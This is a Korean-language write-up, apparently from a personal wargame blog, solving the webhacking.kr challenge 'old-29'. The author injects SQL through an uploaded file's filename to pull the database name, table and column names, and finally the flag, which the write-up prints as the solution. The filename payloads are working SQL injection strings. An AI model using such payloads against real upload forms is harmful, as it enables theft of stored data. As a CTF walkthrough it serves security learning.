> For the complete documentation index, see [llms.txt](https://donghyunlee.gitbook.io/write-up/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://donghyunlee.gitbook.io/write-up/wargame/webhacking.kr/old-29-400.md).

# old-29 (400)

첫 화면이다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M1TYnIHxCUzxmd3tZfb%2F-M1TZ-3Rsn4iU-BWgIVi%2Fimage.png?alt=media\&token=8c55e8d9-f43f-42a6-8a10-a1e252979be9)

abc.txt라는 파일을 업로드하고 프록시로 잡아보았다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M1fGJ8ERvzToYU2FI2S%2F-M1fGTZA-91kW9qHDLna%2FScreen%20Shot%202020-03-06%20at%2012.17.03%20AM.png?alt=media\&token=93aeeb1e-03f1-45b3-9c70-2e84c7d3dda9)

아래는 패킷의 일부이다.

```bash
------WebKitFormBoundaryxcYWr4y3DbF57N5u
Content-Disposition: form-data; name="upfile"; filename="abc.txt"
Content-Type: text/plain
```

filename을 넘겨주는 것을 알 수 있다.

아래와 비슷한 맥락의 쿼리가 실행되는 것으로 예상하였다.

```sql
INSERT INTO `table_name`(column_1,column_2,...) VALUES (value_1,value_2,...);
```

`value_1` , `value_2` , `value_3` 에는 `$time` , `$ip` , `$_GET[filename]` 과 비슷한 형식으로 값이 들어갈 것으로 예상하였다.

다만, 그 순서는 확실한 것이 아니었기에 파일명을 통해 쿼리문을 계속 보내며 순서를 알아냈다.

잘못된 순서로 쿼리를 보내면 아래와 같은 에러가 발생한다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M1fIdyMWso9kj_FFKow%2F-M1fKxcNDxUaVjA1R9O1%2Fimage.png?alt=media\&token=d795c154-6c54-47e1-891c-20269762dec9)

파일명을 `abc',123,'MY_IP')#` 로 한 후 업로드하니 아래와 같이 정상적으로 업로드가 되었다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M1fLW94lB5o8tkgK7u1%2F-M1fLfDUYITIqLDZ4i8B%2Fimage.png?alt=media\&token=4462d714-f21e-44fa-9b15-ba63ea505409)

이를 통해 `value_1` , `value_2` , `value_3` 이 각각 `$_GET[filename]` , `$time` , `$ip` 에 해당하는 것으로 유추하였다.

파일명을 아래와 같이 설정한 후 업로드해 데이터베이스명을 알아낸다.

```
abc',123,'MY_IP'),((SELECT DATABASE()),123,'MY_IP')#
```

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M1fObYn67rGX1yece07%2F-M1fOncdUqYR2LY5enaj%2Fimage.png?alt=media\&token=cd08d51a-8b2d-41d1-b49b-74005fcc8a98)

데이터베이스명은 `chall29` 이다.

파일명을 아래와 같이 설정한 후 업로드해 테이블명을 알아낸다. 테이블이 2개 이상 존재할 수 있으므로 `GROUP_CONCAT()` 을 사용하였다.

```
abc',123,'MY_IP'),((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='chall29'),123,'MY_IP')#
```

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M1fP53RMmGnUmVHpllf%2F-M1fPD4fyvXD6_by3eQY%2Fimage.png?alt=media\&token=90fd7039-1c6b-4236-8208-2d35af5491b1)

테이블명이 `flag_congratz` 인 것으로 유추하였다.

파일명을 아래와 같이 설정한 후 업로드해 컬럼명을 알아낸다. 컬럼이 2개 이상 존재할 수 있으므로 `GROUP_CONCAT()` 을 사용하였다.

```
abc',123,'MY_IP'),((SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='flag_congratz'),123,'MY_IP')#
```

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M1fPsH3gwgd2BDn5aiG%2F-M1fQ-MJZwR99XvF1CgS%2Fimage.png?alt=media\&token=16d9f0a4-7e66-417d-b7b6-77088ff76658)

컬럼명은 `flag` 이다.

파일명을 아래와 같이 설정한 후 업로드해 플래그를 알아낸다.

```
abc',123,'MY_IP'),((SELECT flag FROM flag_congratz),123,'MY_IP')#
```

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M1fQLqaVCt75xQ8zxSK%2F-M1fQTY6ZrJH0GomZeE_%2Fimage.png?alt=media\&token=f8cab081-16d8-401c-a65c-e5232f28406b)

플래그는 `FLAG{didYouFeelConfused?_sorry:)}` 이다.

Auth 창에 `FLAG{didYouFeelConfused?_sorry:)}` 를 넣으면 문제가 풀린다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M1fQffzZTH_zV3ok2L7%2F-M1fQl7_IxOyCoN7GLXl%2Fimage.png?alt=media\&token=dc1e2e9f-09d1-4c4e-a9ba-c237bd633f76)
